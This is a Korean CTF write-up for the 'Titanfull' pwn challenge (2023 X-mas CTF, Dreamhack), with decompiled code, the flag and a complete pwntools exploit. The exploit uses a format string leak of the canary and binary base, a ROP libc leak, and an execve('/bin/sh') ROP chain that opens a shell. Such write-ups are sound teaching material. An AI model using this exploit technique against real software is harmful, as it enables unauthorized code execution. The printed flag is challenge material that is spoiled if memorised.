콘텐츠로 건너뛰기

Titanfull

문제 설명

해당 문제는 2023 X-mas CTF 에 출제된 문제입니다.

제작자가 어느 게임에 감명받아 만든 프로그램입니다.
취약점을 찾아 플레그를 얻으세요!

checksec

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ checksec ./titanfull
[*] '/home/ubuntu/Desktop/dreamhack-CTF/Titanfull/titanfull'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Decompiled-src

menu

void __noreturn menu()
{
  int v0; // [rsp+Ch] [rbp-54h] BYREF
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("-----------------------------------------------------------------------");
  puts(&byte_2108);
  puts(&byte_21E0);
  puts(&byte_22B8);
  puts(&byte_2390);
  puts(&byte_2468);
  puts(&byte_2540);
  puts("-----------------------------------------------------------------------");
  write(1, "What your name pilot? > ", 0x18uLL);
  read(0, buf, 48uLL);
  printf("hello, ");
  printf(buf);                                  // trigger FORMAT STRING BUG!!!
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. Titan select");
      puts("2. Lunch Titan");
      puts("3. exit");
      printf("> ");
      __isoc99_scanf("%d", &v0);
      if ( v0 != 7274 )
        break;
      if ( check == 1 )
        goto LABEL_18;
      vanguard();
    }
    if ( v0 <= 7274 )
    {
      if ( v0 == 3 )
        exit(0);
      if ( v0 <= 3 )
      {
        if ( v0 == 1 )
        {
          if ( check != 1 )
            select_titan();
          else
LABEL_18:
            puts("You already select titan!");
        }
        else if ( v0 == 2 )
        {
          if ( check )
          {
            printf("Standby for titanfall!");
            exit(0);
          }
          puts("Plese select titan!");
        }
      }
    }
  }
}

vanguard

unsigned __int64 vanguard()
{
  char v1[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("You selected RSR vanguard class titan!");
  printf("Please enter the name of titan : ");
  __isoc99_scanf("%s", v1);                     // trigger BUFFER OVERFLOW!!!
  check = 1;
  return __readfsqword(0x28u) ^ v2;
}

Solution

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 17151)
libc = ELF('./libc6_2.31-0ubuntu9.12_amd64.so', checksec=False)
#p = process('./titanfull')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./titanfull', checksec=False)
libc_rop = ROP(libc)

# Stage 1. format string bug
#p.sendlineafter(b'What your name pilot? > ', '%15$p %17$p') #local
p.sendlineafter(b'What your name pilot? > ', '%25$p %17$p')   #server

p.recvuntil('hello, ')

tmp = p.recvline()

main = tmp.split(b"\n")[0].split(b" ")[0]
main = int(main, 16)

canary = tmp.split(b"\n")[0].split(b" ")[1]
canary = int(canary, 16)

bin_base = main - e.sym['main']

success(f"main: {hex(main)}")
success(f"canary: {hex(canary)}")
success(f"bin_base: {hex(bin_base)}")


p.sendlineafter("> ", "7274")

payload = b"A"*24
payload += p64(canary)
payload += b"B"*8

pop_rdi_ret = bin_base + 0x16c3
puts_got = bin_base + e.got['puts']
puts = bin_base + e.sym['puts']

# Stage 2. Leak libc address
# ROP: puts(puts_got); call vanguard;
payload += p64(pop_rdi_ret) 
payload += p64(puts_got)
payload += p64(puts)
payload += p64(bin_base + e.sym['vanguard'])

p.sendlineafter("Please enter the name of titan : ", payload)

libc_puts = p.recv(6)
libc_puts = libc_puts.ljust(8, b"\x00")
libc_puts = u64(libc_puts)
success(f"libc_puts: {hex(libc_puts)}")
libc_base = libc_puts - libc.sym['puts']
success(f"libc_base: {hex(libc_base)}")

payload = b"A"*24
payload += p64(canary)
payload += b"B"*8

bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + libc_rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + libc_rop.find_gadget(['pop rdx', 'ret']).address

# Stage 3. get shell
# ROP: execve("/bin/sh", NULL, NULL);
#set rdi
payload += p64(pop_rdi_ret)
payload += p64(bin_sh) #arg1: /bin/sh
#set rsi
payload += p64(pop_rsi_ret)
payload += p64(0) #arg2: NULL
#set rdx
payload += p64(pop_rdx_ret)
payload += p64(0) #arg3: NULL

payload += p64(libc_base + libc.sym['execve'])

p.sendlineafter("Please enter the name of titan : ", payload)

p.interactive()

Result

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 17151: Done
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.12_amd64.so'
[+] main: 0x5610e7db5630
[+] canary: 0xb896644c05819d00
[+] bin_base: 0x5610e7db4000
[+] libc_puts: 0x7f1547a7b420
[+] libc_base: 0x7f15479f7000
[*] Switching to interactive mode
$ cat flag
DH{ab48f98344b43e07fd53091e3ba1602fb1da237581f2b7fe22fcc43584a9c4b5}
$ 
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 17151

답글 남기기